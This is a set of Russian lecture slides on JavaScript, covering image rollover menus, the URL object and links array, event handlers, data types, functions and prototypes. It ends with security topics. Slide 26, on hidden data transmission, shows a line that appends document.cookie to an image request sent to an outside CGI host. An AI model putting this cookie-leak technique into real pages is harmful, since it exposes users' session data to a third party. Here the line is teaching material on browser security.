1

Учебный курс

Введение в JavaScript и CGI

Лекция 4

Работа с графикой, гипертекстовые переходы и

синтаксис языкакандидат технических наук

Павел Брониславович Храмцов

paul@kiae.su

2

Кэширование изображений

Оптимизация отображения при загрузке

Оптимизация отображения за счет предварительной загрузки

Оптимизация отображения за счет нарезки изображения

3

Графика и таблицы

<pre><a href="javascript:void(0);"><img src=../images/jsi/topm000.gif border=0></a><a href="javascript:void(0);"><img src=../images/jsi/topm001.gif border=0></a>...</pre>

4

Графика и таблицы

<table border=0 cellpadding=0 cellspacing=0 align=center><tr><td><img src=../images/main/treeup.gif width=20 height=20 border=0></td><td><img src=../images/main/blank.gif width=20 height=20 border=0></td></tr><tr><td><img src=../images/main/treetc.gif width=20 height=20 border=0></td><td><a href="javascript:void(0);"><img src=../images/jsi/manual.gif border=0 width=20 height=20></a></td></tr><tr><td><img src=../images/main/treetc.gif width=20 height=20 border=0></td><td><a href="javascript:void(0);"><img src=../images/jsi/desk.gif border=0 width=20 height=20></a></td></tr></table>

5

Графика и обработка событий

<table border=0 cellpadding=0 cellspacing=0 align=center><td><a href="javascript:void(0);" onMouseover="document.e0.src='../images/jsi/arrowdw.gif';return true;" onMouseout="document.e0.src='../images/main/blank.gif';return true;" ><img src=../images/jsi/desk.gif border=0 border=0></a></td></table>

6

Меню

<table border=0 cellpadding=0 cellspacing=0 align=center><tr><td><img name=e0 src=../images/main/blank.gif width=20 height=10 border=0></td></tr><tr><td><a href="javascript:void(0);" onMouseover="document.e0.src='../images/jsi/arrowdw.gif';return true;" onMouseout="document.e0.src='../images/main/blank.gif';return true;" ><img src=../images/jsi/desk.gif border=0 border=0></a></td>…</tr></table>

7

Меню

<td><a href="javascript:void(0);"onMouseover="document.evente.src='../images/jsi/corner.gif';"onMouseout="document.evente.src='../images/jsi/clear.gif';"><img src=../images/jsi/eventep.gif border=0></a></td><td><a href="javascript:void(0); onMouseover="document.evente.src='../images/jsi/corner.gif';"onMouseout="document.evente.src='../images/jsi/clear.gif';"><img name=evente src=../images/main/blank.gif></a></td>

8

Меню

<script>function submenu(a) {if(a==1) { document.menu00.src="../images/jsi/historyb.gif"; // History document.menu01.src="../images/jsi/faceb.gif"; // In face } …</script><table border=0 cellspacing=0 cellpadding=0 align=center><tr><td><a href="javascript:void(0);"onMouseover="submenu(1);return true;"><img name=menu00 src=../images/jsi/historyb.gif border=0></a></td><td><img name=menu01 src=../images/jsi/faceb.gif border=0></td></tr></table>

9

Объект URL

http://webclass.polyn.kiae.su/classes/homef.htm Значения свойств: href: http://webclass.polyn.kiae.su/classes/homef.htm protocol: http: hostname: webclass.polyn.kiae.su host: webclass.polyn.kiae.su:80 port: 80 pathname: classes/homef.htm search: hash:

Обращение к свойству объекта класса URL: имя_объект_класса_URL.свойствоНапример, так:document.links[0].hrefdocument.location.hostdocument.links[2].hash

10

Массивы

<a href= >…</a><map name=test>…</map>for(i=0;i<document.links.length;i++)

document.write(document.links[i].href+"<br>");

links[0]:file:///C:/INTUIT/webclass/pages/classes/jsi/jsid.htmlinks[1]:file:///C:/INTUIT/webclass/pages/classes/jsi/test/larrayt.htmlinks[2]:file:///C:/INTUIT/webclass/pages/classes/fsub.htmlinks[3]:file:///C:/INTUIT/webclass/pages/classes/jsi/href.htmlinks[4]:file:///C:/INTUIT/webclass/pages/classes/jsi/area.htmlinks[5]:javascript:window.alert('Area_Link_1');void(0);links[6]:javascript:window.alert('Area_Link_2');void(0);links[7]:javascript:window.alert('Area_Link_3');void(0);links[8]:javascript:window.alert('Area_Link_4');void(0);

11

Массив ссылок

function line(a) {if(a==0) {clear();window.document.main.document.o0.src="../images/jsi/fio.gif";window.document.main.document.links[4].href="javascript:window.document.main.document.f1.fi1.value='Иванов И.И.';void(0);";window.document.main.document.o1.src="../images/jsi/rpho.gif";window.document.main.document.links[5].href="javascript:window.document.main.document.f1.fi2.value='123-45-67';void(0);";window.document.main.document.o2.src="../images/jsi/hpho.gif";window.document.main.document.links[6].href="javascript:window.document.main.document.f1.fi3.value='987-65-43';void(0);";}

}

12

Массив ссылок

href:--> file:///C:/INTUIT/webclass/pages/classes/jsi/mouse.htmpathname:--> C:/INTUIT/webclass/pages/classes/jsi/mouse.htm Изменим теперь pathname: document.all.next.pathname="kuku";document.write(window.document.all.next.pathname);

href:--> file:kukupathname--> kuku

13

Обработка событий мыши

<table border=0 cellspacing=1 cellpadding=0 align=center><tr><td><a href="javascript:void(0);"onMouseover="line2(0);return true;"><img src=../images/jsi/addrpho.gif border=0></a></td>...</tr></table>

14

Обработка событий мыши

<a href="javascript:void(0);" onMouseover="document.tiger.src='../images/jsi/tiger1s.gif';return true;" onMouseout="document.tiger.src='../images/jsi/tiger1g.gif';return true;"><img name=tiger src=../images/jsi/tiger1g.gif border=0></a>

15

Обработка событий мыши

<a href=#click onClick="window.alert('No jump to #click');return false;">onClick</a>

<a href=#top onClick="return window.confirm('Do you wona to jump?');">перехода</a>

<a id=red onClick="window.alert("kuku");return false;">Нет атрибута href</a>Нет атрибута href.

<a href="" id=red onClick="window.alert('URL:'+this.href);return false;">Нет атрибута href</a>>Нет атрибута href.

16

Программирование за кадром

• типам и структурам данных • операторам языка • функциям пользователя • особенностям размещения кода • возможности исполнения программ в фоновом режиме • управлению фокусом • и вопросам безопасности

17

Типы и структуры данных

• литералы• переменные • массивы• функции• объекты

18

Литералы

числовой литерал: 10числовой литерал: 2.310числовой литерал: 2.3e+2строковый литерал: 'Это строковый литерал'строковый литерал: "Это строковый литерал"

19

Переменные

i=10;var i;var i=10;var id = window.open();var a = new Array();

20

Переменные

wid = window.open("","kuku","width=200,height=100,statusbar");wid.document.open();wid.document.write("<html><head>");wid.document.write("<script>var t;</script>");wid.document.write("</head><body>");wid.document.write("<center>Новое окно<br>");wid.document.write("<form>");wid.document.write("<input type=button value='Закрыть окно'

onClick=window.close();></form>");wid.document.write("</center></body<>/html>");wid.document.close();...<a href="javascript:wid.t=window.prompt("Type new status

value:");wid.defaultStatus=t;wid.focus();void(0);>...</a>

21

Массивы

a = new Array();b = new Array(10);c = new Array(10,"Это значение");

<script>c = new Array(30,"Это значение");</script><form><input size=& {c[0];};value=& {c[1];}; onFocus="this.blur();"></form>

22

Функции

function f_name(arg1,arg2,...){/* function body */}

document.write("Тип переменной f_name:"+typeof(f_name);

Тип переменной f_name:function

23

Функция - объект

function Rectangle(a,b,c,d){this.x0 = a;this.y0 = b;this.x1 = c;this.y1 = d;this.area = new Function("return Math.abs(this.x0-this.x1)* Math.abs(this.y0-this.y1)");this.perimeter = new Function("return (Math.abs(this.x0-this.x1)+ Math.abs(this.y0-this.y1))*2");}c = new Rectangle(0,0,100,100);document.write(c.area()); Результат исполнения: 10000

24

Прототипы

String.prototype.out = new Function("a","a.write(this)");..."Привет дуралеи".out(document);

Привет дуралеи

25

Операторы

var {...} if while for for ... in break continue return

26

Скрытая передача данных

<frameset cols="100%,*"><frame name=left src=hcfl.htm><frame name=right src=hcfl.htm></frameset>

<script language=JavaScript src="../css/jsc.pgm">

s = "http://domain.ru/cgi-bin/image_script?"+document.cookie;document.x.src= s;

27

JavaScript: безопасность

Объект Свойства

Document cookie, domain, forms[], lastModified, links[], location,

referer, title, URL

Form action

document.forms[].elements[] checked, defaultChecked, defaultValue, name, selectedIndex,

toString, value

History current,next,previous,toString(),all array elements

Location,Link,,Area

hash, host, hostname, href, pathname, port, protocol, search,

toString()

Option defaultSelected, selected, text, value

Window defaultStatus,status